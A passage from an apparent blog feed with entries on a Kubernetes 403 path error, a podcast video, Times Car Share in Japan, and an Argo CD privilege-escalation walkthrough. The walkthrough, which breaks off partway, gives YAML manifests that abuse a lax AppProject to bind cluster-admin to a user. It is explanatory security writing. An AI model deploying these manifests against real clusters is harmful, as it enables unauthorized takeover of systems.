   <link href="https://szabo.jp/2021/05/24/k8s-cannot-get-path-.well-known-openid-configuration/"/>
   <updated>2021-05-24T07:00:00+00:00</updated>
   <id>https://szabo.jp/2021/05/24/k8s-cannot-get-path-.well-known-openid-configuration</id>
   <content type="html">&lt;p&gt;I’ve been &lt;a href=&quot;/2021/05/24/authentication-using-k8s-service-account-jwts/&quot;&gt;playing with using kubernetes service account JWTs to authenticate Pods&lt;/a&gt;. To get the cert for checking the JWT signature, I needed to hit the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;https://kubernetes.default.svc/.well-known/openid-configuration&lt;/code&gt; endpoint, however as the URL was coming from a config file it ended up being &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;https://kubernetes.default.svc//.well-known/openid-configuration&lt;/code&gt; (mind the double &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;//&lt;/code&gt;). This worked well locally where everything runs under the powerful default service account, but when deployed I got an error saying:&lt;/p&gt;

&lt;!--break--&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;{
  &quot;kind&quot;: &quot;Status&quot;,
  &quot;apiVersion&quot;: &quot;v1&quot;,
  &quot;metadata&quot;: {

  },
  &quot;status&quot;: &quot;Failure&quot;,
  &quot;message&quot;: &quot;forbidden: User \&quot;system:serviceaccount:my-namespace:my-service-account\&quot; cannot get path \&quot;//.well-known/openid-configuration\&quot;&quot;,
  &quot;reason&quot;: &quot;Forbidden&quot;,
  &quot;details&quot;: {

  },
  &quot;code&quot;: 403
}
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;The solution was to remove the second &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;/&lt;/code&gt;, and hitting &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;https://kubernetes.default.svc/.well-known/openid-configuration&lt;/code&gt; worked like a charm.&lt;/p&gt;

&lt;p&gt;Googleing the error didn’t bring up anything useful, so I’m sharing it here in the hopes of saving others the debugging time.&lt;/p&gt;
</content>
 </entry>
 
 <entry>
   <title>Video for a Japanese learning podcast</title>
   <link href="https://szabo.jp/2021/05/23/podcast-video/"/>
   <updated>2021-05-23T09:00:00+00:00</updated>
   <id>https://szabo.jp/2021/05/23/podcast-video</id>
   <content type="html">&lt;p&gt;This week I got to help out with a video for a Japanese learning podcast episode by &lt;a href=&quot;http://momoko-to-nihongo.com/&quot;&gt;Momoko sensei&lt;/a&gt;. I like taking photos, especially to capture life in Japan, so I was very happy for this opportunity to show them to the world. Most of the photos in the video are mine, except the ones at the purikura section. Enjoy!&lt;/p&gt;

&lt;iframe width=&quot;560&quot; height=&quot;315&quot; src=&quot;https://www.youtube.com/embed/trSj66lajaM&quot; title=&quot;YouTube video player&quot; frameborder=&quot;0&quot; allow=&quot;accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture&quot; allowfullscreen=&quot;&quot;&gt;&lt;/iframe&gt;
</content>
 </entry>
 
 <entry>
   <title>Times Car Share</title>
   <link href="https://szabo.jp/2021/05/23/times-car/"/>
   <updated>2021-05-23T06:30:00+00:00</updated>
   <id>https://szabo.jp/2021/05/23/times-car</id>
   <content type="html">&lt;p&gt;Even though Japan has amazing public transportation, sometimes having a car can make things so much better, like going for a day trip to the countryside or picking up someone at the station. This gets even more important as you leave Tokyo: for example Kyoto’s public transportation is mostly buses that can be significantly delayed due to traffic, and they are slower than cycling (due to stopping all the time). Moreover (especially on the weekend) they might only come once every 30 minutes, so you usually end up waiting at the bus stop for quite a while. Traditional car rentals are great for day trips, but get rather complicated and expensive for short trips.&lt;/p&gt;

&lt;p&gt;The solution for this situation is car sharing: essentially a self-service car rental with support for very short rentals. I have been using &lt;a href=&quot;https://share.timescar.jp/&quot;&gt;Times Car Share&lt;/a&gt;, but other big players in the Japanese market are &lt;a href=&quot;https://www.orix-carshare.com/&quot;&gt;Orix&lt;/a&gt; and &lt;a href=&quot;https://www.careco.jp/&quot;&gt;careco&lt;/a&gt; with very similar service and prices. At the end of the day it probably comes down to which one has a station close to where you live.&lt;/p&gt;

&lt;!--break--&gt;

&lt;p&gt;Neither companies have an English website, but they are generally manageable with Google Translate. After signing up online for Times, I had to go to one of their offices to show my driving license (I have a Japanese one, so not sure if international licenses are accepted) and pick up the membership card. They took a copy of my driving license, signed some papers and got the card. Overall it took less than 10 minutes.&lt;/p&gt;

&lt;p&gt;Once you have the card, you can make reservations on the site and in the app. Cars can be picked up at designated stations (normal parking lots), and have to be returned to the same spot (so you always need to make a roundtrip). For short trips (less than 6 hours) you only pay per the time: 220 yen/15 minutes for the basic cars (330 yen and 440 yen for bigger cars), which includes fuel too, but not ETC. Over 6 hours there is a discount on the time charged, but you start to pay for distance. &lt;a href=&quot;https://share.timescar.jp/fare/use.html&quot;&gt;Check Times’ site for the details&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;Moreover there is also a monthly minimum fee of 880 yen, e.g. if you only use the service for 500 yen in a given month, they will charge you an extra 880-500=380 yen at the end. Or as sometimes presented: the monthly subscription fee is 880 yen, which you can use for rentals in that month. There are family, student and corporate discounts to this. &lt;a href=&quot;https://share.timescar.jp/fare/basic.html&quot;&gt;More info&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Usage is billed from the start time of the reservation until the time you return the car (even if it’s before the end of the reservation). If you return the car after the end of reservation, extra fees are charged and your membership could be suspended (this is to avoid the next person having to wait for the car). Thus it is recommended to make a reservation for a few hours longer than the planned trip. The only limitation is that if the reservation is for more than 24 hours, but the actual use is less than 2 hours, then 2 hours will be charged. Seems reasonable to me.&lt;/p&gt;

&lt;p&gt;You can open the car up to 15 minutes before the start of the reservation, but the billing still only starts at the beginning of the reservation, so you can get up to 15 minutes for free, which can be good especially for short trips. Not sure about the insurance coverage for this time though, so use it at your own risk.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/2021-05-23-times-car/PXL_20210523_032937652_nogallery.jpeg#lb&quot; alt=&quot;Card reader at the back of the car&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Opening the car is done by touching the membership card to the card reader installed in one of the back windows of the car. This unlocks the car, and the key can be found in the glove compartment. At the end of the rental, after returning the car to the same parking spot, put the key back to its original place and touch the card to the reader again to close the doors and finish the rental. If you forgot something in the car, you can open it again one time, though I’ve never had to do this so far.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/2021-05-23-times-car/PXL_20210523_033029062_nogallery.jpeg#lb&quot; alt=&quot;Key in the glove compartment&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Upon return, the system sends you an email with a link to a 1 question questionnaire: did you find the car in a nice state? - yes, it was nice / no, there was some trash inside. Filling out this gets you 1 &lt;a href=&quot;https://share.timescar.jp/about/tcp_program.html&quot;&gt;TCP point&lt;/a&gt;, and if the next person answers yes, then you get an extra 3 points. I don’t know of any penalties for getting a no. The cars are generally pretty clean. Maybe I find some trash 1 out of 5 times, usually pet bottles or masks. Nothing super gross or dirty so far.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/2021-05-23-times-car/questionnaire_nogallery.png#lb&quot; alt=&quot;キレイ度チェックアンケート, cleanliness questionnaire&quot; /&gt;&lt;/p&gt;

&lt;p&gt;About the &lt;a href=&quot;https://share.timescar.jp/about/tcp_program.html&quot;&gt;TCP point&lt;/a&gt; system: you get points for various things:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;the aforementioned cleanliness questionnaire: 1 or 3 points&lt;/li&gt;
  &lt;li&gt;driving without sudden acceleration or braking (no +25 km/h in 3 seconds, or -35 km/h in 3 seconds): 3 points&lt;/li&gt;
  &lt;li&gt;refueling: 3 points&lt;/li&gt;
  &lt;li&gt;for every 100 km driven: 5 points&lt;/li&gt;
  &lt;li&gt;for every 100 km driven without an accident: 5 points&lt;/li&gt;
  &lt;li&gt;filling out &lt;a href=&quot;/2021/05/09/times-car-tcp-test/&quot;&gt;the how to use test&lt;/a&gt;: 30 points (first time)&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;You lose points for returning late, extending the rental during the rental time, making the car unusable, and illegal parking. The points are valid for a year. Above 100 points, you get to level 2, which makes the monthly fee 0. Level 3 (200 point+) gives middle class cars for the price of basic cars, while level 4 (500 point+) gives all cars for the price of a basic car. One can get 10 points for every 100 km driven, so to be on level 2 you need to drive 1000 km per year.&lt;/p&gt;

&lt;p&gt;Refueling: since fuel is included in the rental fee, each car has a special credit card that you should use when filling up. If the tank is below half and you fill it up, then you get 30 minutes off from your rental. Due to this most of the cars are usually around 80% full. The way I usually do this is to go to a normal petrol station (フルサービス, not a セルフ) and just give the card to the station staff. This is good, because not all stations accept the card, and it’s also very convenient as I don’t even need to leave the car.&lt;/p&gt;

&lt;p&gt;They have a wide variety of cars, and I enjoy that I get to drive different brands and models from most major Japanese car manufacturers. I think it can be useful for people looking to buy a car too. I like that &lt;a href=&quot;https://share.timescar.jp/car/&quot;&gt;their website has detailed videos on how to use each car&lt;/a&gt; that one can watch before driving them. It’s been especially useful in the beginning, as I’m mainly used to manual transmission. On their website there is only one foreign car: in the premium category they have only &lt;a href=&quot;https://share.timescar.jp/car/crossover.html&quot;&gt;MINI One CROSSOVER&lt;/a&gt; available at &lt;a href=&quot;https://share.timescar.jp/view/station/list.jsp?searchKbn=3&amp;amp;carModel=M2216&quot;&gt;11 stations all over Japan&lt;/a&gt; (for comparison one of my favorite cars, the &lt;a href=&quot;https://share.timescar.jp/car/swift.html&quot;&gt;Suzuki Swift&lt;/a&gt; is &lt;a href=&quot;https://share.timescar.jp/view/station/list.jsp?searchKbn=3&amp;amp;carModel=C1207&quot;&gt;available at 1780 stations&lt;/a&gt;).&lt;/p&gt;

&lt;p&gt;Some of the cars I drove:&lt;/p&gt;
</content>
 </entry>
 
 <entry>
   <title>Argo CD Privesc Example Walk Through</title>
   <link href="https://szabo.jp/2021/05/19/argo-cd-privesc-walkthrough/"/>
   <updated>2021-05-19T07:00:00+00:00</updated>
   <id>https://szabo.jp/2021/05/19/argo-cd-privesc-walkthrough</id>
   <content type="html">&lt;p&gt;My &lt;a href=&quot;/2021/05/19/argo-cd-privilege-escalations/&quot;&gt;Argo CD Privilege Escalations post&lt;/a&gt; describes some privilege escalation possibilities, if Argo CD projects are not configured securely. In this post I’ll show a complete walkthrough on abusing one of these possible misconfigurations.&lt;/p&gt;

&lt;!--break--&gt;

&lt;h1 id=&quot;given&quot;&gt;Given&lt;/h1&gt;

&lt;p&gt;Given an &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;AppProject&lt;/code&gt; that forbids cluster resources entirely and namespace resources from &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;rbac.authorization.k8s.io/v1&lt;/code&gt; ruling out &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Role&lt;/code&gt;, &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;RoleBinding&lt;/code&gt; etc.:&lt;/p&gt;

&lt;figure class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;language-yaml&quot; data-lang=&quot;yaml&quot;&gt;&lt;span class=&quot;na&quot;&gt;apiVersion&lt;/span&gt;&lt;span class=&quot;pi&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;argoproj.io/v1alpha1&lt;/span&gt;
&lt;span class=&quot;na&quot;&gt;kind&lt;/span&gt;&lt;span class=&quot;pi&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;AppProject&lt;/span&gt;
&lt;span class=&quot;na&quot;&gt;metadata&lt;/span&gt;&lt;span class=&quot;pi&quot;&gt;:&lt;/span&gt;
  &lt;span class=&quot;na&quot;&gt;name&lt;/span&gt;&lt;span class=&quot;pi&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;vulnerable-project&lt;/span&gt;
  &lt;span class=&quot;na&quot;&gt;namespace&lt;/span&gt;&lt;span class=&quot;pi&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;argocd&lt;/span&gt;
&lt;span class=&quot;na&quot;&gt;spec&lt;/span&gt;&lt;span class=&quot;pi&quot;&gt;:&lt;/span&gt;
  &lt;span class=&quot;na&quot;&gt;description&lt;/span&gt;&lt;span class=&quot;pi&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;Example Project&lt;/span&gt;
  &lt;span class=&quot;na&quot;&gt;sourceRepos&lt;/span&gt;&lt;span class=&quot;pi&quot;&gt;:&lt;/span&gt;
  &lt;span class=&quot;pi&quot;&gt;-&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;*&quot;&lt;/span&gt;
  &lt;span class=&quot;na&quot;&gt;destinations&lt;/span&gt;&lt;span class=&quot;pi&quot;&gt;:&lt;/span&gt;
  &lt;span class=&quot;pi&quot;&gt;-&lt;/span&gt; &lt;span class=&quot;na&quot;&gt;namespace&lt;/span&gt;&lt;span class=&quot;pi&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;*&quot;&lt;/span&gt;
    &lt;span class=&quot;na&quot;&gt;server&lt;/span&gt;&lt;span class=&quot;pi&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;https://kubernetes.default.svc&lt;/span&gt;
  &lt;span class=&quot;na&quot;&gt;clusterResourceBlacklist&lt;/span&gt;&lt;span class=&quot;pi&quot;&gt;:&lt;/span&gt;
  &lt;span class=&quot;pi&quot;&gt;-&lt;/span&gt; &lt;span class=&quot;na&quot;&gt;group&lt;/span&gt;&lt;span class=&quot;pi&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;*&quot;&lt;/span&gt;
    &lt;span class=&quot;na&quot;&gt;kind&lt;/span&gt;&lt;span class=&quot;pi&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;*&quot;&lt;/span&gt;
  &lt;span class=&quot;na&quot;&gt;namespaceResourceBlacklist&lt;/span&gt;&lt;span class=&quot;pi&quot;&gt;:&lt;/span&gt;
  &lt;span class=&quot;pi&quot;&gt;-&lt;/span&gt; &lt;span class=&quot;na&quot;&gt;group&lt;/span&gt;&lt;span class=&quot;pi&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;rbac.authorization.k8s.io/v1&lt;/span&gt;
    &lt;span class=&quot;na&quot;&gt;kind&lt;/span&gt;&lt;span class=&quot;pi&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;*&quot;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/figure&gt;

&lt;h1 id=&quot;goal&quot;&gt;Goal&lt;/h1&gt;

&lt;p&gt;The goal is to get &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;cluster-admin&lt;/code&gt; over the cluster.&lt;/p&gt;

&lt;h1 id=&quot;how-to&quot;&gt;How to&lt;/h1&gt;

&lt;p&gt;Since Argo CD &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;AppProject&lt;/code&gt; and &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Application&lt;/code&gt; objects are allowed, we will use those. First we will need an application that will deploy our yaml files:&lt;/p&gt;

&lt;figure class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;language-yaml&quot; data-lang=&quot;yaml&quot;&gt;&lt;span class=&quot;na&quot;&gt;apiVersion&lt;/span&gt;&lt;span class=&quot;pi&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;argoproj.io/v1alpha1&lt;/span&gt;
&lt;span class=&quot;na&quot;&gt;kind&lt;/span&gt;&lt;span class=&quot;pi&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;Application&lt;/span&gt;
&lt;span class=&quot;na&quot;&gt;metadata&lt;/span&gt;&lt;span class=&quot;pi&quot;&gt;:&lt;/span&gt;
  &lt;span class=&quot;na&quot;&gt;name&lt;/span&gt;&lt;span class=&quot;pi&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;gotta-pwn-em-all-prepare-app&lt;/span&gt;
  &lt;span class=&quot;na&quot;&gt;namespace&lt;/span&gt;&lt;span class=&quot;pi&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;argocd&lt;/span&gt;
&lt;span class=&quot;na&quot;&gt;spec&lt;/span&gt;&lt;span class=&quot;pi&quot;&gt;:&lt;/span&gt;
  &lt;span class=&quot;na&quot;&gt;project&lt;/span&gt;&lt;span class=&quot;pi&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;vulnerable-project&lt;/span&gt;
  &lt;span class=&quot;na&quot;&gt;source&lt;/span&gt;&lt;span class=&quot;pi&quot;&gt;:&lt;/span&gt;
    &lt;span class=&quot;na&quot;&gt;repoURL&lt;/span&gt;&lt;span class=&quot;pi&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;https://github.com/my-team/my-team-apps.git&lt;/span&gt;
    &lt;span class=&quot;na&quot;&gt;targetRevision&lt;/span&gt;&lt;span class=&quot;pi&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;HEAD&lt;/span&gt;
    &lt;span class=&quot;na&quot;&gt;path&lt;/span&gt;&lt;span class=&quot;pi&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;manifest/gotta-pwn-em-all-prepare&lt;/span&gt;
  &lt;span class=&quot;na&quot;&gt;destination&lt;/span&gt;&lt;span class=&quot;pi&quot;&gt;:&lt;/span&gt;
    &lt;span class=&quot;na&quot;&gt;server&lt;/span&gt;&lt;span class=&quot;pi&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;https://kubernetes.default.svc&lt;/span&gt;
    &lt;span class=&quot;na&quot;&gt;namespace&lt;/span&gt;&lt;span class=&quot;pi&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;argocd&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/figure&gt;

&lt;p&gt;The next files will be created in the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;https://github.com/my-team/my-team-apps&lt;/code&gt; repo under &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;manifest/gotta-pwn-em-all-prepare/&lt;/code&gt;. Let’s make a super permissive &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;AppProject&lt;/code&gt; here (the only restriction is that it will only deploy things from our team’s repo to prevent other’s abusing this):&lt;/p&gt;

&lt;figure class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;language-yaml&quot; data-lang=&quot;yaml&quot;&gt;&lt;span class=&quot;na&quot;&gt;apiVersion&lt;/span&gt;&lt;span class=&quot;pi&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;argoproj.io/v1alpha1&lt;/span&gt;
&lt;span class=&quot;na&quot;&gt;kind&lt;/span&gt;&lt;span class=&quot;pi&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;AppProject&lt;/span&gt;
&lt;span class=&quot;na&quot;&gt;metadata&lt;/span&gt;&lt;span class=&quot;pi&quot;&gt;:&lt;/span&gt;
  &lt;span class=&quot;na&quot;&gt;name&lt;/span&gt;&lt;span class=&quot;pi&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;gotta-pwn-em-all-project&lt;/span&gt;
  &lt;span class=&quot;na&quot;&gt;namespace&lt;/span&gt;&lt;span class=&quot;pi&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;argocd&lt;/span&gt;
&lt;span class=&quot;na&quot;&gt;spec&lt;/span&gt;&lt;span class=&quot;pi&quot;&gt;:&lt;/span&gt;
  &lt;span class=&quot;na&quot;&gt;description&lt;/span&gt;&lt;span class=&quot;pi&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;Privilege Escalation Testing Project&lt;/span&gt;
  &lt;span class=&quot;na&quot;&gt;sourceRepos&lt;/span&gt;&lt;span class=&quot;pi&quot;&gt;:&lt;/span&gt;
  &lt;span class=&quot;pi&quot;&gt;-&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;https://github.com/my-team/my-team-apps.git&lt;/span&gt;
  &lt;span class=&quot;na&quot;&gt;destinations&lt;/span&gt;&lt;span class=&quot;pi&quot;&gt;:&lt;/span&gt;
  &lt;span class=&quot;pi&quot;&gt;-&lt;/span&gt; &lt;span class=&quot;na&quot;&gt;namespace&lt;/span&gt;&lt;span class=&quot;pi&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;*&quot;&lt;/span&gt;
    &lt;span class=&quot;na&quot;&gt;server&lt;/span&gt;&lt;span class=&quot;pi&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;*&quot;&lt;/span&gt;
  &lt;span class=&quot;na&quot;&gt;clusterResourceWhitelist&lt;/span&gt;&lt;span class=&quot;pi&quot;&gt;:&lt;/span&gt;
  &lt;span class=&quot;pi&quot;&gt;-&lt;/span&gt; &lt;span class=&quot;na&quot;&gt;group&lt;/span&gt;&lt;span class=&quot;pi&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;*&quot;&lt;/span&gt;
    &lt;span class=&quot;na&quot;&gt;kind&lt;/span&gt;&lt;span class=&quot;pi&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;*&quot;&lt;/span&gt;
  &lt;span class=&quot;na&quot;&gt;namespaceResourceWhitelist&lt;/span&gt;&lt;span class=&quot;pi&quot;&gt;:&lt;/span&gt;
  &lt;span class=&quot;pi&quot;&gt;-&lt;/span&gt; &lt;span class=&quot;na&quot;&gt;group&lt;/span&gt;&lt;span class=&quot;pi&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;*&quot;&lt;/span&gt;
    &lt;span class=&quot;na&quot;&gt;kind&lt;/span&gt;&lt;span class=&quot;pi&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;*&quot;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/figure&gt;

&lt;p&gt;We will also need an &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Application&lt;/code&gt; that uses this project. We can make it with the other &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Applications&lt;/code&gt; or in the same folder as the above &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;AppProject&lt;/code&gt;:&lt;/p&gt;

&lt;figure class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;language-yaml&quot; data-lang=&quot;yaml&quot;&gt;&lt;span class=&quot;na&quot;&gt;apiVersion&lt;/span&gt;&lt;span class=&quot;pi&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;argoproj.io/v1alpha1&lt;/span&gt;
&lt;span class=&quot;na&quot;&gt;kind&lt;/span&gt;&lt;span class=&quot;pi&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;Application&lt;/span&gt;
&lt;span class=&quot;na&quot;&gt;metadata&lt;/span&gt;&lt;span class=&quot;pi&quot;&gt;:&lt;/span&gt;
  &lt;span class=&quot;na&quot;&gt;name&lt;/span&gt;&lt;span class=&quot;pi&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;gotta-pwn-em-all-execute-app&lt;/span&gt;
  &lt;span class=&quot;na&quot;&gt;namespace&lt;/span&gt;&lt;span class=&quot;pi&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;argocd&lt;/span&gt;
&lt;span class=&quot;na&quot;&gt;spec&lt;/span&gt;&lt;span class=&quot;pi&quot;&gt;:&lt;/span&gt;
  &lt;span class=&quot;na&quot;&gt;project&lt;/span&gt;&lt;span class=&quot;pi&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;gotta-pwn-em-all-project&lt;/span&gt;
  &lt;span class=&quot;na&quot;&gt;source&lt;/span&gt;&lt;span class=&quot;pi&quot;&gt;:&lt;/span&gt;
    &lt;span class=&quot;na&quot;&gt;repoURL&lt;/span&gt;&lt;span class=&quot;pi&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;https://github.com/my-team/my-team-apps.git&lt;/span&gt;
    &lt;span class=&quot;na&quot;&gt;targetRevision&lt;/span&gt;&lt;span class=&quot;pi&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;HEAD&lt;/span&gt;
    &lt;span class=&quot;na&quot;&gt;path&lt;/span&gt;&lt;span class=&quot;pi&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;manifest/gotta-pwn-em-all-execute&lt;/span&gt;
  &lt;span class=&quot;na&quot;&gt;destination&lt;/span&gt;&lt;span class=&quot;pi&quot;&gt;:&lt;/span&gt;
    &lt;span class=&quot;na&quot;&gt;server&lt;/span&gt;&lt;span class=&quot;pi&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;https://kubernetes.default.svc&lt;/span&gt;
    &lt;span class=&quot;na&quot;&gt;namespace&lt;/span&gt;&lt;span class=&quot;pi&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;default&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/figure&gt;

&lt;p&gt;(The app will only have non-namespace resources, so the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;namespace&lt;/code&gt; in &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;destination&lt;/code&gt; doesn’t matter.) In the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;manifest/gotta-pwn-em-all-execute/&lt;/code&gt; folder, let’s make the thing we actually want to be deployed:&lt;/p&gt;

&lt;figure class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;language-yaml&quot; data-lang=&quot;yaml&quot;&gt;&lt;span class=&quot;na&quot;&gt;apiVersion&lt;/span&gt;&lt;span class=&quot;pi&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;rbac.authorization.k8s.io/v1&lt;/span&gt;
&lt;span class=&quot;na&quot;&gt;kind&lt;/span&gt;&lt;span class=&quot;pi&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;ClusterRoleBinding&lt;/span&gt;
&lt;span class=&quot;na&quot;&gt;metadata&lt;/span&gt;&lt;span class=&quot;pi&quot;&gt;:&lt;/span&gt;
  &lt;span class=&quot;na&quot;&gt;name&lt;/span&gt;&lt;span class=&quot;pi&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;gotta-pwn-em-all-clusteradmin&lt;/span&gt;
&lt;span class=&quot;na&quot;&gt;roleRef&lt;/span&gt;&lt;span class=&quot;pi&quot;&gt;:&lt;/span&gt;
  &lt;span class=&quot;na&quot;&gt;apiGroup&lt;/span&gt;&lt;span class=&quot;pi&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;rbac.authorization.k8s.io&lt;/span&gt;
  &lt;span class=&quot;na&quot;&gt;kind&lt;/span&gt;&lt;span class=&quot;pi&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;ClusterRole&lt;/span&gt;
  &lt;span class=&quot;na&quot;&gt;name&lt;/span&gt;&lt;span class=&quot;pi&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;cluster-admin&lt;/span&gt;
&lt;span class=&quot;na&quot;&gt;subjects&lt;/span&gt;&lt;span class=&quot;pi&quot;&gt;:&lt;/span&gt;
  &lt;span class=&quot;pi&quot;&gt;-&lt;/span&gt; &lt;span class=&quot;na&quot;&gt;kind&lt;/span&gt;&lt;span class=&quot;pi&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;User&lt;/span&gt;
    &lt;span class=&quot;na&quot;&gt;name&lt;/span&gt;&lt;span class=&quot;pi&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;oidc:johnsmith&lt;/span&gt;
  &lt;span class=&quot;pi&quot;&gt;-&lt;/span&gt; &lt;span class=&quot;na&quot;&gt;kind&lt;/span&gt;&lt;span class=&quot;pi&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;Group&lt;/span&gt;
    &lt;span class=&quot;na&quot;&gt;name&lt;/span&gt;&lt;span class=&quot;pi&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;oidc:security-team&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/figure&gt;

&lt;p&gt;So in the end you should have these files (assuming the files are named like the objects in them):&lt;/p&gt;

